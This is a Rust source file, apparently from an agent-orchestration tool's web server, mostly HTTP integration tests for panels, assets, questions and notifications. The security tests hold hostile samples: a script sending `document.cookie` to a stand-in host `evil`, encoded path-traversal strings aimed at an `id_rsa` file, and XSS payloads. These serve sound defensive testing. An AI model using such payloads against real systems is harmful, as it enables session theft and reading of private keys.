4714 .get(FILENAME_HEADER)
4715 .and_then(|v| v.to_str().ok())
4716 .map(str::trim)
4717 .filter(|s| !s.is_empty())
4718 .unwrap_or("attachment")
4719 .to_owned()
4720}
4721
4722fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4729 let content_type = ATTACHMENT_MIME_WHITELIST
4730 .iter()
4731 .find(|&&m| m == mime)
4732 .copied()
4733 .unwrap_or("application/octet-stream");
4734 (
4735 [
4736 (header::CONTENT_TYPE, content_type),
4737 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4738 ],
4739 body,
4740 )
4741 .into_response()
4742}
4743
4744async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4752 let repo = repo.to_path_buf();
4753 blocking(move || {
4754 let (cfg, _) = Config::discover(&repo, None)?;
4755 Ok(cfg)
4756 })
4757 .await
4758}
4759
4760fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4766 let mut hits = ids
4767 .into_iter()
4768 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4769 match (hits.next(), hits.next()) {
4770 (Some(one), None) => Ok(one),
4771 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4772 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4773 "`{prefix}` matches more than one {what}, including {a} and {b}"
4774 ))),
4775 }
4776}
4777
4778#[cfg(test)]
4779mod tests {
4780 use pretty_assertions::assert_eq;
4781 use serde_json::Value;
4782 use tempfile::TempDir;
4783 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4784
4785 use super::*;
4786 use crate::config::Config;
4787 use crate::queue::{Source, TaskStatus};
4788
4789 const SETTLE_STEPS: usize = 3_000;
4800
4801 struct Fixture {
4807 home: TempDir,
4808 addr: SocketAddr,
4809 }
4810
4811 impl Fixture {
4812 async fn start() -> Self {
4813 Self::with_loop(launch_idle).await
4814 }
4815
4816 async fn with_loop(launch: Launch) -> Self {
4818 let home = TempDir::new().expect("temp home");
4819 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4820 Self { home, addr }
4821 }
4822
4823 async fn with_repo(repo: PathBuf) -> Self {
4827 let home = TempDir::new().expect("temp home");
4828 let addr = Self::serve(home.path(), repo, launch_idle).await;
4829 Self { home, addr }
4830 }
4831
4832 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4833 let queue = Queue::at(home.join("queue"));
4834 let runs = home.join("runs");
4835 std::fs::create_dir_all(&runs).expect("runs dir");
4836 let worktrees = home.join("wt").join("magi");
4837 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4838 let ui = Ui::new(
4839 queue,
4840 Questions::at(home.join("questions")),
4841 Talks::at(home.join("talks")),
4842 runs,
4843 home.to_path_buf(),
4844 repo,
4845 )
4846 .with_worktrees_root(worktrees)
4847 .with_launch(launch);
4848 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4849 .await
4850 .expect("bind loopback");
4851 let addr = listener.local_addr().expect("local addr");
4852 tokio::spawn(async move {
4853 let _ = axum::serve(listener, ui.router()).await;
4854 });
4855 addr
4856 }
4857
4858 fn queue(&self) -> Queue {
4859 Queue::at(self.home.path().join("queue"))
4860 }
4861
4862 fn questions(&self) -> Questions {
4863 Questions::at(self.home.path().join("questions"))
4864 }
4865
4866 fn talks(&self) -> Talks {
4867 Talks::at(self.home.path().join("talks"))
4868 }
4869
4870 fn runs(&self) -> PathBuf {
4871 self.home.path().join("runs")
4872 }
4873
4874 async fn get(&self, path: &str) -> Res {
4875 request(self.addr, "GET", path, None).await
4876 }
4877
4878 async fn head(&self, path: &str) -> Res {
4883 request(self.addr, "HEAD", path, None).await
4884 }
4885
4886 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4887 request(self.addr, "POST", path, body).await
4888 }
4889
4890 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4891 request_with(self.addr, "GET", path, None, extra).await
4892 }
4893
4894 async fn delete(&self, path: &str) -> Res {
4895 request(self.addr, "DELETE", path, None).await
4896 }
4897
4898 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4900 request_bytes(self.addr, path, headers, body).await
4901 }
4902 }
4903
4904 struct Res {
4905 status: u16,
4906 headers: String,
4907 head: String,
4912 body: String,
4913 bytes: Vec<u8>,
4917 }
4918
4919 impl Res {
4920 fn json(&self) -> Value {
4921 serde_json::from_str(&self.body)
4922 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4923 }
4924
4925 fn header(&self, name: &str) -> Option<&str> {
4927 self.head.lines().find_map(|line| {
4928 let (key, value) = line.split_once(':')?;
4929 key.trim()
4930 .eq_ignore_ascii_case(name)
4931 .then(|| value.trim_start().trim_end_matches('\r'))
4932 })
4933 }
4934 }
4935
4936 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4939 request_with(addr, method, path, body, &[]).await
4940 }
4941
4942 async fn request_with(
4946 addr: SocketAddr,
4947 method: &str,
4948 path: &str,
4949 body: Option<&str>,
4950 extra: &[(&str, &str)],
4951 ) -> Res {
4952 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4953 for (name, value) in extra {
4954 head.push_str(&format!("{name}: {value}\r\n"));
4955 }
4956 if let Some(body) = body {
4957 head.push_str("Content-Type: application/json\r\n");
4958 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4959 }
4960 head.push_str("\r\n");
4961 if let Some(body) = body {
4962 head.push_str(body);
4963 }
4964 let mut socket = tokio::net::TcpStream::connect(addr)
4965 .await
4966 .expect("connect to the test server");
4967 socket
4968 .write_all(head.as_bytes())
4969 .await
4970 .expect("write request");
4971 let mut raw = Vec::new();
4972 socket.read_to_end(&mut raw).await.expect("read response");
4973 let split = raw
4976 .windows(4)
4977 .position(|w| w == b"\r\n\r\n")
4978 .expect("a header block");
4979 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4980 let bytes = raw[split + 4..].to_vec();
4981 let status = head
4982 .lines()
4983 .next()
4984 .and_then(|line| line.split_whitespace().nth(1))
4985 .and_then(|code| code.parse().ok())
4986 .expect("a status line");
4987 Res {
4988 status,
4989 headers: head.to_lowercase(),
4990 head,
4991 body: String::from_utf8_lossy(&bytes).into_owned(),
4992 bytes,
4993 }
4994 }
4995
4996 async fn request_bytes(
5002 addr: SocketAddr,
5003 path: &str,
5004 headers: &[(&str, &str)],
5005 body: &[u8],
5006 ) -> Res {
5007 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5008 for (name, value) in headers {
5009 head.push_str(&format!("{name}: {value}\r\n"));
5010 }
5011 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5012 let mut socket = tokio::net::TcpStream::connect(addr)
5013 .await
5014 .expect("connect to the test server");
5015 socket
5016 .write_all(head.as_bytes())
5017 .await
5018 .expect("write request head");
5019 socket.write_all(body).await.expect("write request body");
5020 let mut raw = Vec::new();
5021 socket.read_to_end(&mut raw).await.expect("read response");
5022 let split = raw
5023 .windows(4)
5024 .position(|w| w == b"\r\n\r\n")
5025 .expect("a header block");
5026 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5027 let bytes = raw[split + 4..].to_vec();
5028 let status = head
5029 .lines()
5030 .next()
5031 .and_then(|line| line.split_whitespace().nth(1))
5032 .and_then(|code| code.parse().ok())
5033 .expect("a status line");
5034 Res {
5035 status,
5036 headers: head.to_lowercase(),
5037 head,
5038 body: String::from_utf8_lossy(&bytes).into_owned(),
5039 bytes,
5040 }
5041 }
5042
5043 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5045 let mut state = RunState::new(
5046 PathBuf::from("/repo/magi"),
5047 "main".to_owned(),
5048 "0123456789abcdef".to_owned(),
5049 "Add a web UI\n\nMobile first.".to_owned(),
5050 Config::default(),
5051 );
5052 state.id = id.to_owned();
5053 state.status = status;
5054 let dir = runs.join(id);
5055 std::fs::create_dir_all(&dir).expect("run dir");
5056 std::fs::write(
5057 dir.join("run.json"),
5058 serde_json::to_string_pretty(&state).expect("serialize run"),
5059 )
5060 .expect("write run.json");
5061 }
5062
5063 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5064 let body = serde_json::json!({
5065 "schema": 1,
5066 "pid": 4242,
5067 "started_at": Timestamp::now().to_string(),
5068 "updated_at": updated_at.to_string(),
5069 "idle": false,
5070 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5071 "completed": 7,
5072 "polls": 143,
5073 });
5074 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5075 }
5076
5077 fn launch_idle(
5087 _opts: daemon::Opts,
5088 stop: daemon::Stop,
5089 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5090 Box::pin(async move {
5091 while !stop.stopped() {
5092 tokio::time::sleep(Duration::from_millis(2)).await;
5093 }
5094 Ok(())
5095 })
5096 }
5097
5098 fn launch_broken(
5101 _opts: daemon::Opts,
5102 _stop: daemon::Stop,
5103 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5104 Box::pin(async {
5105 Err(anyhow::anyhow!(
5106 "publish the daemon status file: read-only file system"
5107 ))
5108 })
5109 }
5110
5111 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5118 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5119
5120 fn launch_knocking_on_the_way_out(
5127 _opts: daemon::Opts,
5128 stop: daemon::Stop,
5129 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5130 Box::pin(async move {
5131 while !stop.stopped() {
5132 tokio::time::sleep(Duration::from_millis(2)).await;
5133 }
5134 let addr = PARK_KNOCK
5135 .lock()
5136 .expect("park knock")
5137 .expect("the test set an address");
5138 let heard = request(addr, "GET", "/api/health", None).await.status;
5139 *PARK_HEARD.lock().expect("park heard") = Some(heard);
5140 Ok(())
5141 })
5142 }
5143
5144 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5153 for _ in 0..SETTLE_STEPS {
5154 let view = fx.get("/api/loop").await.json();
5155 if want(&view) {
5156 return view;
5157 }
5158 tokio::time::sleep(Duration::from_millis(10)).await;
5159 }
5160 panic!(
5161 "the loop never settled: {}",
5162 fx.get("/api/loop").await.json()
5163 );
5164 }
5165
5166 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5168 let store = fx.questions();
5169 let mut q = Question::new(
5170 "20260902-000000-beef".to_owned(),
5171 "implement".to_owned(),
5172 "impl-A".to_owned(),
5173 summary.to_owned(),
5174 "because it matters".to_owned(),
5175 choices.iter().map(|c| (*c).to_owned()).collect(),
5176 );
5177 store.put(&mut q).expect("put question");
5178 q.id
5179 }
5180
5181 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5187 let store = fx.questions();
5188 let mut q = Question::new(
5189 "20260902-000000-beef".to_owned(),
5190 "land".to_owned(),
5191 "fix".to_owned(),
5192 "Merge this?".to_owned(),
5193 "the diff is in the panel".to_owned(),
5194 vec!["merge".to_owned(), "hold".to_owned()],
5195 );
5196 let staging = fx.home.path().join("staging");
5199 std::fs::create_dir_all(&staging).expect("staging dir");
5200 let sources: Vec<PathBuf> = assets
5201 .iter()
5202 .map(|(name, bytes)| {
5203 let path = staging.join(name);
5204 std::fs::write(&path, bytes).expect("write staged asset");
5205 path
5206 })
5207 .collect();
5208 store
5209 .put_panel(&mut q, html, &sources)
5210 .expect("write the panel");
5211 store.put(&mut q).expect("put question");
5212 q.id
5213 }
5214
5215 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5224 let store = fx.talks();
5225 std::fs::create_dir_all(store.root()).expect("talks dir");
5226 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5227 .expect("serialize a seat");
5228 let body = serde_json::json!({
5229 "schema": 1,
5230 "id": id,
5231 "repo": "/repo/magi",
5232 "agent": "mock",
5233 "status": status,
5234 "turns": [],
5235 "created_at": Timestamp::now().to_string(),
5236 "updated_at": Timestamp::now().to_string(),
5237 "seat": seat,
5238 });
5239 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5240 store.get(id).expect("the seeded talk has to be readable");
5241 id.to_owned()
5242 }
5243
5244 #[tokio::test]
5245 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5246 let fx = Fixture::start().await;
5247 let id = panel(
5248 &fx,
5249 "<h1>Merge?</h1><img src=\"diff.svg\">",
5250 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5251 );
5252
5253 for path in [
5254 format!("/api/questions/{id}/panel"),
5255 format!("/api/questions/{id}/asset/diff.svg"),
5256 ] {
5257 let res = fx.get(&path).await;
5258 assert_eq!(res.status, 200, "{path}: {}", res.body);
5259 assert_eq!(
5265 res.header("content-security-policy"),
5266 Some(
5267 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5268 font-src data:; base-uri 'none'; form-action 'none'; \
5269 frame-ancestors 'self'"
5270 ),
5271 "{path} is the only thing between a hostile panel and the tailnet"
5272 );
5273 assert_eq!(
5274 res.header("x-content-type-options"),
5275 Some("nosniff"),
5276 "{path}: a browser must not re-decide the type we sent"
5277 );
5278 assert_eq!(
5279 res.header("referrer-policy"),
5280 Some("no-referrer"),
5281 "{path}: a panel must not leak the question id off the machine"
5282 );
5283
5284 let pre = fx.head(&path).await;
5289 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5290 assert_eq!(
5291 pre.header("content-security-policy"),
5292 res.header("content-security-policy"),
5293 "{path}: the preflight carries the same policy"
5294 );
5295 assert_eq!(
5296 pre.header("content-type"),
5297 res.header("content-type"),
5298 "{path}: the preflight carries the same type"
5299 );
5300 }
5301 }
5302
5303 #[tokio::test]
5304 async fn a_panel_reaches_the_browser_byte_for_byte() {
5305 let fx = Fixture::start().await;
5306 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
5311 let id = panel(&fx, html, &[]);
5312
5313 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5314
5315 assert_eq!(res.status, 200);
5316 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5317 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5318 assert_eq!(
5319 res.header("content-disposition"),
5320 None,
5321 "the panel itself is rendered in the frame, not downloaded"
5322 );
5323 }
5324
5325 #[tokio::test]
5326 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5327 let fx = Fixture::start().await;
5328 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5329 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5330 let id = panel(
5331 &fx,
5332 "<img src=\"diff.svg\"><img src=\"shot.png\">",
5333 &[("diff.svg", svg), ("shot.png", png)],
5334 );
5335
5336 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5337 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5338
5339 assert_eq!(as_svg.status, 200);
5340 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5341 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5346
5347 assert_eq!(as_png.status, 200);
5348 assert_eq!(as_png.header("content-type"), Some("image/png"));
5349 assert_eq!(
5350 as_png.header("content-disposition"),
5351 None,
5352 "a raster image has no execution surface, so tapping it still shows it"
5353 );
5354 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5355 }
5356
5357 #[tokio::test]
5358 async fn an_html_asset_is_never_served_as_html() {
5359 let fx = Fixture::start().await;
5360 let id = panel(
5361 &fx,
5362 "<p>see the notes</p>",
5363 &[
5364 (
5365 "notes.html",
5366 b"<script>fetch('http://evil/'+document.cookie)</script>",
5367 ),
5368 ("hook.js", b"fetch('http://evil/')"),
5369 ("data.json", b"{}"),
5370 ("HEADLINE.TXT", b"plain"),
5371 ],
5372 );
5373
5374 for name in ["notes.html", "hook.js", "data.json"] {
5375 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5376 assert_eq!(res.status, 200, "{name}: {}", res.body);
5377 assert_eq!(
5382 res.header("content-type"),
5383 Some("application/octet-stream"),
5384 "{name} must not be a type the browser will execute or render"
5385 );
5386 }
5387 let txt = fx
5390 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5391 .await;
5392 assert_eq!(
5393 txt.header("content-type"),
5394 Some("text/plain; charset=utf-8")
5395 );
5396 }
5397
5398 #[tokio::test]
5399 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5400 let fx = Fixture::start().await;
5401 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5402 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5406
5407 for encoded in [
5414 "%2e%2e%2fid_rsa",
5415 "..%2fid_rsa",
5416 "..%5cid_rsa",
5417 "%2e%2e%5cid_rsa",
5418 "diff%00.svg",
5419 "..",
5420 ".hidden",
5421 "%2e%2e%2f%2e%2e%2fid_rsa",
5422 ] {
5423 let res = fx
5424 .get(&format!("/api/questions/{id}/asset/{encoded}"))
5425 .await;
5426 assert_eq!(
5427 res.status, 400,
5428 "`{encoded}` has to be refused by name, not looked up: {}",
5429 res.body
5430 );
5431 assert!(res.json()["error"].is_string(), "{}", res.body);
5432 }
5433
5434 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5440 let res = fx
5441 .get(&format!("/api/questions/{id}/asset/{literal}"))
5442 .await;
5443 assert_eq!(
5444 res.status, 404,
5445 "`{literal}` must not match the asset route at all: {}",
5446 res.body
5447 );
5448 }
5449 }
5450
5451 #[tokio::test]
5452 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5453 let fx = Fixture::start().await;
5454 let plain = ask(&fx, "Which backend?", &["SQLite"]);
5455 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5456
5457 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5461 assert_eq!(none.status, 404, "{}", none.body);
5462 assert!(none.json()["error"].is_string(), "{}", none.body);
5463 assert_eq!(
5464 fx.head(&format!("/api/questions/{plain}/panel"))
5465 .await
5466 .status,
5467 404,
5468 "the preflight is the only way the client can learn this"
5469 );
5470
5471 let missing = fx
5473 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5474 .await;
5475 assert_eq!(missing.status, 404, "{}", missing.body);
5476 assert!(missing.json()["error"].is_string(), "{}", missing.body);
5477
5478 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5480 assert_eq!(
5481 fx.get("/api/questions/nope/asset/diff.svg").await.status,
5482 404
5483 );
5484 }
5485
5486 #[tokio::test]
5487 async fn a_run_with_an_open_question_reads_as_waiting() {
5488 let fx = Fixture::start().await;
5489 let run = "20260902-000000-beef".to_owned();
5490 write_run(&fx.runs(), &run, RunStatus::Implementing);
5491
5492 let before = fx.get("/api/runs").await.json();
5493 assert_eq!(before[0]["waiting"], false, "{before}");
5494
5495 let store = fx.questions();
5496 let mut q = Question::new(
5497 run.clone(),
5498 "implement".to_owned(),
5499 "impl-A".to_owned(),
5500 "Which backend?".to_owned(),
5501 String::new(),
5502 vec!["SQLite".to_owned()],
5503 );
5504 store.put(&mut q).expect("put");
5505
5506 let during = fx.get("/api/runs").await.json();
5507 assert_eq!(during[0]["waiting"], true, "{during}");
5508
5509 q.answer(Answer::Choice("SQLite".to_owned()))
5512 .expect("answer");
5513 store.put(&mut q).expect("put");
5514 let after = fx.get("/api/runs").await.json();
5515 assert_eq!(after[0]["waiting"], false, "{after}");
5516 }
5517
5518 #[tokio::test]
5519 async fn an_open_question_is_listed_and_counted_by_health() {
5520 let fx = Fixture::start().await;
5521 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5522
5523 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5524 let listed = fx.get("/api/questions").await.json();
5525 assert_eq!(listed.as_array().expect("array").len(), 1);
5526 assert_eq!(listed[0]["id"], id);
5527 assert_eq!(listed[0]["status"], "open");
5528 assert_eq!(listed[0]["choices"][1], "Redis");
5529 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5532 }
5533
5534 #[tokio::test]
5535 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5536 let fx = Fixture::start().await;
5537 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5538 let path = format!("/api/questions/{id}/answer");
5539
5540 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5541 assert_eq!(res.status, 200, "{}", res.body);
5542 let body = res.json();
5543 assert_eq!(body["status"], "answered");
5544 assert_eq!(body["answer"]["choice"], "Redis");
5545
5546 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5550 assert_eq!(again.status, 409, "{}", again.body);
5551 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5552 }
5553
5554 #[tokio::test]
5555 async fn saying_something_appends_a_turn_without_answering() {
5556 let fx = Fixture::start().await;
5557 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5558 let path = format!("/api/questions/{id}/say");
5559
5560 let res = fx
5561 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5562 .await;
5563 assert_eq!(res.status, 200, "{}", res.body);
5564 let body = res.json();
5565 assert_eq!(body["status"], "open", "talking back is not a decision");
5566 assert_eq!(body["answer"], Value::Null);
5567 assert_eq!(body["thread"][0]["who"], "operator");
5568 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5569 assert_eq!(body["waiting_on_agent"], true);
5570 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5572 }
5573
5574 #[tokio::test]
5575 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5576 let fx = Fixture::start().await;
5577 let store = fx.questions();
5578 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5579 assert_eq!(
5580 fx.get("/api/health").await.json()["questions_needs_owner"],
5581 1
5582 );
5583
5584 let res = fx
5590 .post(
5591 &format!("/api/questions/{id}/say"),
5592 Some(r#"{"body":"why not Postgres?"}"#),
5593 )
5594 .await;
5595 assert_eq!(res.status, 200, "{}", res.body);
5596 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5597 assert_eq!(
5598 fx.get("/api/health").await.json()["questions_needs_owner"],
5599 0,
5600 "waiting on the agent is not waiting on the owner"
5601 );
5602
5603 let mut q = store.get(&id).expect("get");
5607 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5608 .expect("reply");
5609 store.put(&mut q).expect("put");
5610 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5611 assert_eq!(
5612 fx.get("/api/health").await.json()["questions_needs_owner"],
5613 1,
5614 "the agent's reply is what should light the banner back up"
5615 );
5616 }
5617
5618 #[tokio::test]
5619 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5620 let fx = Fixture::start().await;
5621 let store = fx.questions();
5622
5623 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5624 let res = fx
5625 .post(
5626 &format!("/api/questions/{empty_id}/say"),
5627 Some(r#"{"body":" "}"#),
5628 )
5629 .await;
5630 assert_eq!(res.status, 400, "{}", res.body);
5631
5632 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5633 let mut answered = store.get(&answered_id).expect("get");
5634 answered
5635 .answer(Answer::Choice("SQLite".to_owned()))
5636 .expect("answer");
5637 store.put(&mut answered).expect("put");
5638 let res = fx
5639 .post(
5640 &format!("/api/questions/{answered_id}/say"),
5641 Some(r#"{"body":"still there?"}"#),
5642 )
5643 .await;
5644 assert_eq!(res.status, 409, "{}", res.body);
5645
5646 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5647 let mut abandoned = store.get(&abandoned_id).expect("get");
5648 abandoned.abandon("timed out");
5649 store.put(&mut abandoned).expect("put");
5650 let res = fx
5651 .post(
5652 &format!("/api/questions/{abandoned_id}/say"),
5653 Some(r#"{"body":"still there?"}"#),
5654 )
5655 .await;
5656 assert_eq!(res.status, 409, "{}", res.body);
5657 }
5658
5659 #[tokio::test]
5660 async fn an_answer_the_question_does_not_offer_is_refused() {
5661 let fx = Fixture::start().await;
5662 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5663 let path = format!("/api/questions/{id}/answer");
5664
5665 for body in [
5666 r#"{"choice":"Postgres"}"#,
5667 r#"{"text":"whatever you think"}"#,
5668 r#"{"choice":"Redis","text":"both"}"#,
5669 r#"{}"#,
5670 ] {
5671 let res = fx.post(&path, Some(body)).await;
5672 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5673 assert!(res.json()["error"].is_string(), "{}", res.body);
5674 }
5675 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5677 }
5678
5679 #[tokio::test]
5680 async fn a_free_text_question_takes_text_and_not_a_choice() {
5681 let fx = Fixture::start().await;
5682 let id = ask(&fx, "What should the flag be called?", &[]);
5683 let path = format!("/api/questions/{id}/answer");
5684
5685 assert_eq!(
5686 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5687 400
5688 );
5689 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5690 assert_eq!(res.status, 200, "{}", res.body);
5691 assert_eq!(res.json()["answer"]["text"], "--json");
5692 }
5693
5694 #[tokio::test]
5695 async fn an_unknown_question_is_a_json_404() {
5696 let fx = Fixture::start().await;
5697 let res = fx
5698 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5699 .await;
5700 assert_eq!(res.status, 404, "{}", res.body);
5701 assert!(res.json()["error"].is_string());
5702 }
5703
5704 #[tokio::test]
5705 async fn notifications_list_read_dismiss_and_health_agree() {
5706 let fx = Fixture::start().await;
5707 let store = Notices::at(fx.home.path().join("notifications"));
5708 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5709 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5710
5711 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5712 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5713
5714 let health = fx.get("/api/health").await.json();
5715 assert_eq!(health["notifications_unread"], 2);
5716 assert_ne!(
5717 health["notifications_rev"], rev0,
5718 "the badge must move live"
5719 );
5720
5721 let listed = fx.get("/api/notifications").await.json();
5722 assert_eq!(listed["unread"], 2);
5723 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5724 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5725
5726 let read = fx
5727 .post(&format!("/api/notifications/{}/read", a.id), None)
5728 .await;
5729 assert_eq!(read.status, 200, "{}", read.body);
5730 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5731
5732 let gone = fx
5733 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5734 .await;
5735 assert_eq!(gone.status, 200, "{}", gone.body);
5736 let listed = fx.get("/api/notifications").await.json();
5737 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5738 assert_eq!(listed["unread"], 0);
5739
5740 store.raise(Notice::info("x", "again")).unwrap();
5741 let all = fx.post("/api/notifications/read-all", None).await;
5742 assert_eq!(all.status, 200, "{}", all.body);
5743 assert_eq!(all.json()["marked"], 1);
5744 assert_eq!(
5745 fx.get("/api/health").await.json()["notifications_unread"],
5746 0
5747 );
5748
5749 let missing = fx.post("/api/notifications/nope/read", None).await;
5750 assert_eq!(missing.status, 404, "{}", missing.body);
5751 assert!(missing.json()["error"].is_string());
5752 }
5753
5754 #[tokio::test]
5761 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5762 let f = Fixture::start().await;
5763
5764 let res = f
5765 .post(
5766 "/api/queue",
5767 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5768 )
5769 .await;
5770
5771 assert_eq!(
5772 res.status, 405,
5773 "POST /api/queue must not be a route: {}",
5774 res.body
5775 );
5776 assert!(
5777 f.queue().list().is_empty(),
5778 "a task filed by a route that does not exist must not reach the disk"
5779 );
5780 assert_eq!(f.get("/api/queue").await.status, 200);
5783 }
5784
5785 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5787 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5788 .expect("checkout dir");
5789 }
5790
5791 #[tokio::test]
5792 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5793 let tmp = TempDir::new().expect("tempdir");
5794 let repo = tmp.path().join("repo");
5795 std::fs::create_dir_all(&repo).expect("repo dir");
5796 let root = tmp.path().join("root");
5797 make_checkout(&root, "github.com", "yukimemi", "magi");
5798 std::fs::write(
5799 repo.join("magi.toml"),
5800 format!(
5801 "[repos]\nroots = [{:?}]\n",
5802 root.to_string_lossy().into_owned()
5803 ),
5804 )
5805 .expect("write magi.toml");
5806
5807 let f = Fixture::with_repo(repo).await;
5808 let res = f.get("/api/repos").await;
5809 assert_eq!(res.status, 200, "{}", res.body);
5810 let list = res.json();
5811 let repos = list.as_array().expect("an array");
5812 assert_eq!(repos.len(), 1);
5813 assert_eq!(repos[0]["name"], "yukimemi/magi");
5814 assert!(
5815 repos[0]["path"]
5816 .as_str()
5817 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5818 "{list}"
5819 );
5820 }
5821
5822 #[tokio::test]
5823 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5824 let tmp = TempDir::new().expect("tempdir");
5825 let repo = tmp.path().join("repo");
